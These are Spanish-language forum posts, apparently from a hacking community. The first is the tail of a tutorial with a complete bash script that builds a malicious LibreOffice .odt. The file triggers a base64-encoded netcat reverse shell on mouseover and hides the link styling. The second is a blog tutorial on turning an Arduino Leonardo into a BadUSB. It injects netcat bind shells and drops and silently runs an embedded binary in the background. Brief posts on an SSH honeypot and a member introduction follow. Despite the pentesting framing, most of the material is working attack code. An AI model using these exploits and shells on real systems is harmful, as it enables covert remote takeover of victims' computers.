Se deberá tambien de hacer una modificación de cara a que los hipervinculos generados en el contenido no se visualicen como tal en al abrir el archivo. Por lo que se debe eliminar el subrayado que tienen por defecto los hipervínculos. En el fichero llamado styles.xml es donde LibreOffice guarda los estilos en formato xml y que se puden modificar con cambios en el texto.

El estilo por defecto que tienen los hipervinculos en LibreOffice se llama Internet_20_link, de modo que lo primero que se debe hacer es cambiar el nombre del estilo por defecto para llamarle de una forma que LibreOffice no vincule el formato definido con dicho estilo que fuerza el subrallado. Simplemente a todo estilo llamado así se le añadirá un 2 al final de modo que dicho estilo no se utilice en el documento en caso de que esté definido. Por otro lado, se definirá un estilo nuevo llamado exactamente así pero en el que se determinará que no esté subrayado. El formato en xml de dicho estilo es el siguiente:

	<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>

La forma más sencilla de definir un estilo y saber cómo se códifica en el formato de LibreOffice probablemente séa crear un estilo nuevo, definirlo como se desee para después guardarlo y desempaquetar el documento para mirarlo en el archivo styles.xml. En este caso como se puede ver leyendo un poco los atributos del tag, lo único que se ha definido en el estilo es que no esté subrallado y sin ningún color especial.

Como a priori no se sabe como va a estar conformado el fichero y donde se debe posicionar el estilo dentro del fichero de estilos se va a proceder de nuevo a una simplificación algo burda también pero eficaz. Se buscarán un tags de fin de estilo __</style:style>__ y se añadirá al final la definición de estilo propuesta. No se sabrá en que posición del archivo quedará exactamente el tag, pero permitirá no tener que definir reglas mas complejas para dejar el estilo de los hipervínculos sin subrayados de forma que quien abra el archivo no sea capaz a priori de detectar el error.

Al igual que en el caso anterior se procederá a dichos cambios mediante el comando sed que quedará de la siguiente forma:

	cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;

El caso es análogo al anterior, y se hace lo descrito en las anteriores líneas. Se saca por pantalla el contenido del archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y en el primer sed se está cambiando el nombre del estilo de los hipervínculos añadiéndole un 2 al final. En el segundo sed se añade el estilo definido a mano y tras el cambio se vuelca todo en el archivo styles.xml que será el archivo que se conserve borrando el archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta mediante el comando rm.

El último paso será empaquetar todo en un nuevo archivo zip mediante el comando linux zip. De nuevo se puede verificar que el comando ha tenido éxito o no mediante la variable de bash $? que devolverá 0 en caso de ejecución exitosa.

El código de esta última parte final será el siguiente:

			zip -r exploit.odt mimetype .;

			if [ $? == 0 ]; then

				echo "exploit.odt created!!!"

			else

				echo "An error has occurr!!!"

			fi;

El código final del script completo tendrá una forma parecida a la siguiente:

	if [ -e $1 ]; then

		I=0;

		for fichero in `ls -a`; do

			I=$(($I+1));

		done;

		if [ $I -gt 2 ]; then

			echo "At least one file exists on the directory. Exiting.";

		else

			if [ "" == "$3" ]; then

				echo "I need an IP and a port to connect to.";

			else

				unzip $1;

				if [ $? != 0 ]; then

					echo "some error has occurr!!!Exiting!!";
					exit;

				fi;
	
				PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

				mv content.xml content.xml.NEW;
				cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
				rm content.xml.NEW;

				mv styles.xml styles.xml.NEW;
				cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
				rm styles.xml.NEW;

				zip -r exploit.odt mimetype .;
	
				if [ $? == 0 ]; then

					echo "exploit.odt created!!!"

				else

					echo "An error has occurr!!!"

				fi;

			fi;

		fi;

	else
		echo "The odt file does not exists!!";

	fi;

Prepare el mes pasado una entrada para BLOG que le envíe a Denisse para que la metiese en underc0de, pero como no recibo contestación (supongo que andará super liado) la meto por aquí. Asi está a disposición de todos y este mes si interesa meto la siguiente en la que desarrollo un modulo de metasploit que permite automatizar el proceso visto aquí, utilizando los payloads de la propia suite.

saludos.

Blancanieves y la manzana envenenada (Parte 1)

Introducción

Cuenta el cuento que Blancanieves mordió la manzana y se envenenó. Hasta que el príncipe azul no le dio un beso esta no despertó de su sueño y pudieron vivir felices. Algo parecido pasaba en las compañías hasta hace bien poco. Introducir un USB con un autorun permitía envenenar cualquier equipo, la bruja ofrecía un goloso USB o DVD con una belleza digna de la manzana del árbol del Eden. El título podía incluir desde un "listados del último ERE", "Próximos despidos" o algo tan banal y de baja catadura moral como un simple "Pr0N". Esto servía para que muchas víctimas mordiesen la manzana y quedasen dormidas a la espera su príncipe azul. Dicho príncipe normalmente hacía su aparición como persona del departamento de IT pero su beso permitirá volver a la vida y recuperar la dignidad e información perdida, al menos aquella que humanamente se pudiese y no hubiese pasado las fronteras del muro de Adriano. Medidas como inhabilitar el autorun por defecto fueron el elixir del que se contagiaron todos los sistemas. Esto permitió que ahora los equipos estuviesen mejor protegidos contra ataques previstos de esta manera y ahora había que tentar a la suerte dejando alguna manzana en forma de archivo ejecutable que el usuario y su curiosidad de felino le hiciesen abrir las puertas al gran caballo. Normalmente la vía es un exe escondido como un pdf o tener que utilizar un fallo de ejecución de código del visor de documentos del que disponía la empresa. Para el atacante muchas veces era un poco caminar a ciegas las versiones de los programas que disponía la empresa y esperar con cierta fe en sus dotes malignas de engaño que el usuario aparte de conectar el USB eligiese el archivo y lo abriese con una versión explotable de un visor de documentos. Del lado del castillo, la mayoría de los usuarios se sienten seguros cuando insertan un USB y simplemente lo formatean para utilizarlo. De hecho la mayor parte de la gente algo concienciada con la seguridad no suele privarse de la oportunidad de obtener unos megas adicionales de almacenamiento gratis a cambio de insertar el USB para simplemente darle formato nuevo o borrar los archivos que este contiene. Todo es completamente limpio, nítido y estéril. El usuario habituado a que nada se ejecute de forma automática cuando solamente introduce el dispositivos de almacenamiento, ha dejado , de alguna forma, de ser todo lo precavido que debiera al menos en dicha dirección. Este usuario avispado, se permite el lujo de poder conectar lo que desee porque sabe de sobra que el sistema operativo no permitirá que se autoejecute nada. Además, no va a caer en ejecutar o ver nada de dicho USB, simplemente lo formateará para poder utilizarlo para unos fines más nobles que los que tenía la malvada bruja que dejo a posta olvidado esa manzana en el parking o el baño.

Cambio de vista para un nuevo ataque

En el 2014 después de beber del elixir presentado por Adrian Crenshaw en el trabajo titulado "Programmable HID USB Keystroke Dongle: Using the Teensy as a Pen Testing Device" de la defcon 18, y tras un pequeño cambio de filosofía en la vía de acción apareció Psychson. La idea original se basaba en que el USB que introducías no era un si no un teclado que mediante una combinación de teclas permita ejecutar una serie de órdenes sin necesidad de consentimiento del usuario. De esta forma volvemos a hacer que para que Blancanieves muerda la manzana baste solo con conectar el dispositivo al ordenador. Psychson es la receta del veneno basado en esa idea utilizando los pendrives con un modelo específico (en concreto aquellos que tengan el chip 8K eD3 NAND flash). Mediante su código, puedes reprogramar un pendrive con dicho chip de manera que a partir de ese momento el pendrive será un teclado. Bajo esa misma linea trabajaremos nosotros para aprender a hacer una manzana similar. Al final el concepto es muy sencillo, al conectar el pendrive estaremos en realidad conectando un teclado que enviará unas instrucciones preprogramadas que se teclearán en el ordenador. Todo lo que podamos hacer desde teclado, se podrá hacer a través de este dispositivo. Además, todos los comandos serán ejecutados con los privilegios del usuario que conecte el pendrive en su ordenador sin necesidad de hacer fuerza bruta o tener que obtener su password por otros medios. Como se ve, es un método ideal y fácil para cualquiera que desee envenenar nuestro sistema, así que aprenderemos de él para poder testear nuestras empresas con idea de poder crear, identificar y evitar caer en manos de la malvada bruja.

El maravilloso mundo de los dispositivos democráticos

En el mundo de fantasía empezaron a proliferar hace bastante tiempo dispositivos programables a muy buen precio. El hecho de que apareciesen en forma de hardware libre hizo que dichos dispositivos se replicasen de forma masiva y desarrollados por multitud de compañías pudiendo ofrecer precios al alcance de cualquiera. Por unas pocas monedas de oro cualquiera podía obtenerlos, y en concreto nosotros nos fijaremos en el conocido como Arduino. El reducido precio, tamaño y facilidad de uso hace que se pueda encontrar en cualquier taberna así que es el dispositivo que utilizaremos para generar una manzana envenenada. Cabe resaltar que, de entre los sabores en los que encotraremos, nosotros utilizaremos el modelo Leonardo (dispone el chip ATmega32u4). Realmente se puede utilizar cualquier otro modelo mientras pasemos por un cambio de firmware o montemos un circuito en los pinouts de nuestro arduino mediante la libreria vusb (más información en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta). En pos de la simplicidad ,ya que ahora mismo somos solo aprendices de artes mágicas, utilizaremos un Arduino Leonardo dado que se puede utilizar directamente la librería keyboard incluida en el propio entorno. Existen dos modelos oficiales de Arduino Leonardo, el normal y el micro. Este último ofrece un tamaño de 3.5 cm x 1.8 cm x 0.5 cm ideal para empaquetar en pequeñas cajas y que parezcan una manzana apetecible para los incautos.

Empezando a crear nuestra pequeña manzana envenenada

El primer paso deberá ser obtener el IDE de Arduino (Para hacer magia debemos usar el papiro adecuado), que se puede descargar de No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Se recomienda descargar el software aunque el IDE séa descargable a través de los repositorios de las distribuciones de Linux. Esta recomendación viene de que normalmente el IDE contenido en los repositorios suele ser notablemente más viejo que los que se encuentran en la página oficial (Es conocido que los papiros viejos tienden a desmenuzarse y quedar inservibles). Tras la descarga, simplemente deberemos descomprimir el empaquetado y ya podremos empezar a funcionar con el IDE para implementar los conjuros y venenos que deseemos sobre la placa de Arduino.
Hay que dar un pequeño paso justo antes de ejecutar el IDE por primera vez. Deberemos de incluir a nuestro usuario en el grupo dialout para tener permisos y poder programar la placa. Para actualizar que el usuario séa parte de dicho grupo, hay que volver a logear con el usuario.
Para arrancar el programa simplemente caminaremos al directorio donde hemos descomprimido el programa y ejecutaremos el comando arduino.
Se puede observar que el programa sólo tiene una sencilla pantalla en la que se puede escribir el código. Para subir un programa a la placa simplemente hay que pulsar el botón con la flecha señalando a la derecha, el segundo botón, y con eso se compilará el código y se subirá a la placa. Antes de subir la placa hay que elegir la placa que vamos a utilizar desde el menú Tools->Board donde seleccionaremos la opción Leonardo. Se deberá seleccionar también el device utilizado para usar la placa, con lo que en el menú Tools->Port seleccionaremos /dev/ttyACM0 (Deberemos tener en cuenta que el último número puede cambiar según los pequeños gnomos que rigen el kernel decidan bautizar al programador).
Un programa muy utilizado para certificar que todo funciona correctamente es el siguiente:

void setup() {
	pinMode(LED_BUILTIN, OUTPUT);
}

void loop() {
	digitalWrite(LED_BUILTIN, HIGH);
	delay(3000);
	digitalWrite(LED_BUILTIN, LOW);
	delay(3000);
}

Con este pequeño programa debemos de ver el led que viene integrado en la placa que se enciende y se apaga cada 3 segundos. Si tras subir el programa a la placa se visualiza este funcionamiento podremos decir al viento "y se hizo la luz". Esto significará que ya tenemos todos los ingredientes necesarios para realizar nuestra pequeña manzana envenenada.

Nuestro primer hechizo

El tipo de programas que vamos a hacer es muy sencillo. la base a utilizar en nuestro recetario de venenos será siempre la siguiente:

#include "Keyboard.h"

void setup() {

}

void loop(){

}

Deberemos incluir siempre la librería keyboard que es la que permite utilizar las funciones que configuran el Arduino como si fuese un teclado. Y para nuestra primera manzana envenenada simplemente lo que haremos es hacer que mágicamente se escriba una frase en la pantalla. Para ello deberemos llamar a la función que pone el Arduino en modo teclado Keyboard.begin(), después escribir algo en pantalla mediante la función Keyboard.print() y volver a dejar al Arduino como un mero Arduino de nuevo mediante la orden keyboard.end(). La función print tiene como prámetro de entrada un string que se corresponde con lo que se desea escribir mediante el teclado. Deberemos tener en cuenta que desde que ponemos el Arduino como teclado hasta que el ordenador lo detecta como teclado pasa cierto tiempo, con lo que es bueno que dejemos un tiempo de espera en el Arduino. Así que cuando el Arduino empiece a introducir pulsaciones de teclado el ordenador ya se habrá enterado de que tiene un teclado conectado a él. Para ello utilizaremos la función delay() que tiene como parámetro el número de milisegundos que se desea esperar.
La estructura de programa típica de los programas Arduino tiene una función de setup y una función de loop. La función de loop está todo el rato repitiendose, cómo vamos a jugar con el Arduino como si fuese teclado, nosotros pondremos el código en la parte de setup para que se ejecute una vez y termine el programa. O al menos la parte del programa que se encarga de teclear los comandos. El programa final quedará de esta forma:

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("El veloz murcielago hindu...");
  Keyboard.end();  
}

void loop(){

}

En cuanto subamos el programa aparecerá en la pantalla escrita la frase que hemos puesto dentro del print. Como estamos en la ventana del IDE de arduino, será ahí donde se escriba la frase como si fuésemos nosotros los que la hubiésemos escrito desde teclado. Cada vez que desconectamos y volvemos a conectar la placa Arduino en el equipo la frase se volverá a escribir en nuestra pantalla. El único problema es que dependemos de que el usuario esté utilizando una aplicación en la que tenga sentido teclear lo que nosotros estamos introduciendo vía teclado de forma automática. Si estamos en un editor de texto la frase se podrá visualizar, si estamos en un editor de dibujo o en el mismo escritorio, dichas pulsaciones de teclado no realizarán ninguna acción (Al menos las que hemos puesto para este ejemplo). Con esto hemos aprendido un poco lo más básico de como pasar algo por teclado utilizando la placa.

Conjuros de nivel básico

Siguiendo la misma dinámica, se pueden hacer recetas de automatización de comandos para que cuando tengamos abierta una terminal en Linux, se ejecuten determinados comandos uno detrás de otro. Si vamos agregando lineas a la orden keyboard.print() con órdenes de la terminal de Linux terminadas con el caracter de intro \n conseguiremos que se ejecuten los comandos que hemos preparado de forma automática. Por ejemplo, si deseamos automatizar un proceso que realiza un cat de un archivo específico, después bajarte una pagina web de una IP especifica y hacer un cat de esta pondríamos las siguientes lineas en el programa Arduino:

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("cat archivo.txt\n");
  Keyboard.print("wget 127.0.0.1\n");
  Keyboard.print("cat index.html\n");
  Keyboard.end(); 
}

void loop(){

}

Al subir el programa se introducirá por teclado los comandos que estamos especificando. Se podrá probar el programa conectando el Arduino tras haber dejado abierta una terminal. Se podrá observar como los comandos se van ejecutando secuencialmente tal y como lo habíamos preparado. Con esto, ya estamos casi a disposición de poder hacer autentica magia utilizando nuestro pendrive falso. Podríamos bajar cualquier ejecutable de una dirección de Internet que se le pueda indicar al ordenador y una vez bajado el archivo ejecutarlo. En la dirección de Internet se puede introducir cualquier archivo que se desee, por ejemplo un archivo de control remoto que al ejecutarlo nos devuelva una shell en el ordenador donde se ha introducido el pendrive.

Una forma sencilla de envenenar nuestra manzana podría ser por ejemplo ejecutar un nc para tener el control de comandos en el pc remoto. Por ejemplo el siguiente comando:

nc -l 6565 | bash

Permite que si nos conectamos desde un ordenador remoto al puerto 6565 podamos mandar instrucciones que se terminarán por ejecutar en el ordenador en el que hayamos tecleado dicho comando. Se puede hacer una prueba sencilla simplemente escribiendo dicho comando en un ordenador y se observará que nos conectamos al puerto y en la consola aparece la salida de lo que estamos ejecutando. Resumiendo, mayormente si ejecutamos en otro ordenador:

nc DIRECCION_IP 6565

A partir de ahí podremos escribir comandos que se procesarán en el ordenador donde habíamos ejecutado el primer comando. La salida por pantalla de estos se verá en este último equipo.

Bien, pero también queremos poder ver desde el ordenador remoto la salida del comando. No tiene demasiado sentido que lo que mando hacer a otros aparezca en la terminal del ordenador del otro. ¿no?. Pues bien, utilizaremos un doble conjuro para hacer que la salida de este comando sea la entrada de otro nc en el puerto siguiente. Con eso podremos fácilmente conectarnos a los dos puertos y enviar comandos por una pantalla y recibirlos por otra. Para hacer que la salida del primer comando vaya a otro comando que abra otro puerto al que nos podamos conectar para ver dicha salida, simplemente modificaremos un poco más el primer comando escribiendo esto en una terminal:

nc -l 6566 < <(nc -l 6565 | bash)

Con lo que para controlar el ordenador donde hemos ejecutado ese pequeño comando tendremos que conectarnos a su puerto 6565 para mandar comandos y al 6566 para recibir la salida de dichos comandos. Se puede probar abriendo tres terminales en un ordenador, ejecutando el comando anterior en una de ellas y ejecutando una conexión a los puertos 6565 y 6566 en cada una de las restantes.

De modo que en la terminal 1 se ejecutará esto:

nc -l 6566 < <(nc -l 6565 | bash)

En la terminal 2 esto:

nc 127.0.0.1 6565

Y en la terminal 3 esto:

nc 127.0.0.1 6566

y ya se podrán enviar comandos en la terminal 2, por ejemplo un ls o un cat /etc/passwd para poder visualizar lo que devuelven en la máquina remota (en este caso particular es la misma) por la terminal 3.

Teniendo claro todo esto, se puede observar como con una simple linea de comando se puede tener el control remoto de un ordenador. Con lo que queda claro lo que deberíamos de poner en nuestro programa de Arduino para conformar nuestra malvada manzana envenenada.

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("nc -l 6566 < <(nc -l 6565 | bash)\n");
  Keyboard.end(); 
}

void loop(){

}

Pero nos llevaremos una amarga sorpresa al subir el programa a la placa. El resultado del tecleo es completamente erróneo, la salida de teclado (a no ser que tengamos configurado el teclado como americano) nos devolverá algunos caracteres cambiados que estropean todo nuestro maligno plan.

Bien, pues antes de escribir nada ejecutaremos el comando que dice al Linux que su teclado es americano para ejecutar las lineas de nuestro programa y otra vez devolver al teclado su configuración original. Eso supone simplemente un comando antes del conjuro y otro después. En mi caso, el teclado esta en español, luego cambiare el modo de teclado a estados unidos, ejecutaré las pulsaciones de teclado que deseo para después devolver (de forma manual, no lo he incluido en el script) otra vez a Español. El programa apenas cambia y tendría el siguiente formato:

#include "Keyboard.h"

void setup() {
	Keyboard.begin();
	delay(5000);
	Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("nc -l 6566 < <(nc -l 6565 | bash)\n");
	Keyboard.end(); 
}

void loop(){

}

Ahora si que podremos conectar nuestro Arduino con la terminal abierta y podremos ver el resultado cuando alguien muerda nuestra pequeña manzana envenenada. Se puede observar que he incluido un pequeño delay de medio segundo entre el comando del cambio de formato de teclado y la ejecución. Simplemente es por precaución, no vaya a ser que el Arduino teclee el comando antes de que el sistema ejecute el cambio de teclado. Entiendo que si eso llegara a pasar, podríamos tener que el buffer de entrada de teclado podría haber incorporado previamente teclas en formato erroneo, y eso no es algo deseable. No obstante, probablemente el programa funcione sin eso en la mayoría de equipos.

Como se vé, el limite reside en la utilización de nuestra imaginación para proponer comandos imaginativos que permitan hacer lo que deseemos con las combinaciones pertinentes, aunque quedan algunas cosas que aun podemos mejorar. Tened en cuenta que ahora mismo estaríamos en condiciones de bajar cualquier archivo de una web determinada donde hemos dejado un binario de control y ejecutarlo en la máquina que ha mordido nuestra manzana.

Conjuros de nivel avanzado

Como último colofón a este pequeño libro sobre envenenamiento de manzanas especialmente ideado para brujas y hechiceros, intentaremos incorporar a nuestra manzana un binario más o menos complicado. La intención final es que se ejecute sin necesidad de que lo tengamos que bajar de un sitio remoto. Una idea que podemos seguir es la de hacer un archivo mediante el comando printf. Mediante el modificador \x en un printf se le puede pasar dos números en hexadecimal que imprimirán por pantalla el byte al que representan. Si eso en lugar de pasarlo por pantalla se redirecciona (mediante >) a un archivo, obtendremos la salida en un archivo. Y si los bytes que introducimos en dicho archivo se corresponde con los de un archivo binario, entonces el archivo resultante, obviamente, será dicho archivo binario. Solo deberemos de obtener los bytes necesarios para meter dentro del comando printf que se ejecutará en la terminal gracias a la función keyboard.print que es la que funciona como teclado en el Arduino. Por lo que el programa que subiremos al arduino tendrá el siguiente formato:

#include "Keyboard.h"

void setup() {
	Keyboard.begin();
	delay(5000);
	Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("printf \"\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
	Keyboard.end(); 
}

void loop(){

}

Los códigos exactos del binario se deberán introducir dentro de las comillas precedidas por las contrabarras (\"\"). Asi que solo debemos obtener cada uno de los caracteres del binario a ejecutar precedidos de una contrabarra y una x para pegarlo en nuestro código de Arduino. Como tomar un editor de hexadecimal y hacerlo a mano puede ser un trabajo bastante tedioso, podemos hacer uso de awk y hexdump para automatizarlo. Hexdump nos muestra los bytes del archivo especificado en hexadecimal, se deberá ejecutar con el argumento -v para que no se coma los bytes que se repitan dentro del archivo. De manera que el siguiente comando:

hexdump -v binario

Nos devolverá las direcciones y contenido de los bytes del archivo. Como nosotros solo queremos los bytes en hexadecimal deberemos concatenar la salida de este con un awk para quedarnos con las 8 palabras de datos que nos interesan. El comando completo sería el siguiente:

hexdump -v binario | awk '{print $2; print $3;print $4;print $5;print $6;print $7;print $8;print $9;}'

Como se puede observar awk lee cada una de las lineas y saca por pantalla en diferentes lineas las palabras de la 2 a la 9. Son las que se corresponden con los bytes del archivo en memoria. Ahora deberemos separar dichas palabras a tamaño byte, fijaros que la salida devuelve 4 números hexadecimales y no solo 2. Así que de nuevo usaremos awk para separar dichos números en grupos de dos. Aparte, a cada grupo de dos se le dará la vuelta por temas de cómo representa los bytes los ordenadores a nivel interno (Mayormente a nosotros nos gusta leerlos en orden correcto pero a los ordenadores les viene mejor tenerlos al revés) y se les añadirá la \ y la x antes de cada número para obtener la salida correcta que debemos meter en el printf. Resumiendo todo esto, añadiremos una parte más al comando de antes que quedará con la siguiente forma:

hexdump -v lalala | awk '{print $2; print $3;print $4;print $5;print $6;print $7;print $8;print $9;}' | awk '{if($1 != ""){printf "\\\\x"substr($1,3,2)"\\\\x"substr($1,1,2)}}'

La salida del comando serán todos los bytes del fichero binario dispuestos para ser impresos en un archivo que después pueda ser ejecutado. Por ese motivo en el comando que se ejecuta en el Arduino hemos puesto una redirección a un archivo que se llama /tmp/myegg que será el archivo destino en el ordenador que introduzca nuestro pendrive. Al que después se le da el flag de ejecutable mediante la orden chmod y por último simplemente lo ejecutamos.

Se deberá tener en cuenta el tamaño máximo de archivos que permite la memoria del arduino que esta situado en 32KB, asi que solo caben binarios o ejecutables relativamente pequeños (Ojito con que payload se meten).

Como ejemplo y por temas de espacio utilizaremos un script en bash muy sencillo, pero se puede utilizar en cualquier binario. Tras ejecutar el comando especificado para el siguiente ejecutable escrito en bash:

echo "hola mundo"

Obtenemos el siguiente resultado:

\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a

Con lo que el resultado final del programa para subir al Arduino será el siguiente:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
        Keyboard.print("setxkbmap us\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
        Keyboard.end();
}

void loop(){

}

Ahora mismo ya somos capaces de, como la bruja de blancanieves, hacer unas manzanas bastante suculentas. Pero quedan dos pequeños flecos para que la manzana sea roja y bella del todo al estilo de la manzana de Adan. Lo primero, que hasta ahora debíamos abrir la consola de comandos a mano para que los comandos que se escriben en el Arduino se ejecutasen. Para ello utilizaremos el atajo de teclado control + alt + t que permite abrir una terminal en la mayoría de distribuciones de Linux. Para ello se puede utilizar las funciones No tienes permitido ver enlaces. Registrate o Entra a tu cuenta() y Keyboard.releaseAll(). La primera de ellas tendrá como entrada el código de tecla que deseemos pulsar, la segunda no tiene ningun argumento de entrada. Así que antes de imprimir las lineas que deseamos ejecutar forzaremos a que el Arduino envíe el atajo de teclado de abrir una terminal. El cambio al anterior programa es mínimo:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
	Keyboard.press(KEY_LEFT_CTRL);
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press('t');
	delay(500);
	Keyboard.releaseAll();
	delay(1000);
        Keyboard.print("setxkbmap us\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
        Keyboard.end();
}

void loop(){

}

Ahora ya todo el código se ejecutará en la terminal que se abre tras conectar el pendrive. Por último a modo de colofón final, añadiremos al programa las instrucciones que permiten eliminar el echo local para que no se visualicen en la terminal lo que está ejecutando el programa y se realizará un exit al final de la ejecución para que se cierre la ventana. Como es obvio, la idea final es ejecutar el comando en segundo plano por lo que se añadira un & cuando se ejecuta el comando myegg con la intención de que se quede en segundo plano ejecutándose (Si por ejemplo nuestra intención es ejecutar un servidor). Con el programa que se ha propuesto de ejemplo, carecería de sentido hacerlo porque no es un servidor que se quede a la escucha. No obstante, la utilidad de que quede en segundo plano de ejecución creo que resulta bastante obvia. Al final el código que generaremos será el siguiente:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
        Keyboard.press(KEY_LEFT_CTRL);
        Keyboard.press(KEY_LEFT_ALT);
        Keyboard.press('t');
        delay(500);
        Keyboard.releaseAll();
        delay(1000);
        Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("stty -echo; clear;\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg & exit;\n");
        Keyboard.end();
}

void loop(){

}

Despedida y cierre

Y por el momento esto es todo. En la siguiente entrega se realizará un modulo de metasploit que permitirá automatizar la realización de estas manzanas envenenadas para utilizarlas en pentesting. La idea es aprender a hacer módulos de metasploit simples a la vez que integramos un módulo que automatice la generación de programas en Arduino que incorporen un payload genérico de matasploit que se pueda seleccionar mediante dicha suite. Mayormente, que podamos programar de forma fácil los Arduinos desde la misma suite de Metasploit y podamos utilizar el equipo en el que se ha introducido el Arduino mediante un handler genérico de la misma herramienta. También se verá como parte final, y a mi punto de vista una de las partes mas relevantes, que medidas de protección podemos utilizar para evitar este tipo de ataques y como automatizarlas.

Permaneced atentos y hasta la próxima gudaris de la tecnología.

Acabo de hacer esta aplicación, muy chorra pero a mi parecer útil:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Es un pequeño programa en python que permite sacar los usuarios y claves que se usan en las botnets para atacar y permite reflejar el ataque de manera que te saca las direcciones IP usuario y password de los que forman parte de una botnet que te esté atacando. Se queda escuchando en el puerto 22, así que si tenéis un ssh tendréis que cambiarlo de puerto.

Saludos.

Hola:

Pues nada, me intento unir a la comunidad a ver que se puede aportar y a ver si se puede colaborar en cosas. Como todo el mundo, supongo a aprender lo que se pueda y a ver los proyectos abiertos en los que meter mano.

Hacia tiempo que me tentaba unirme, pero nunca había dado el paso. Si alguno anda algo por HxC tambien estoy por alla.

Un saludo y abrazo a todos.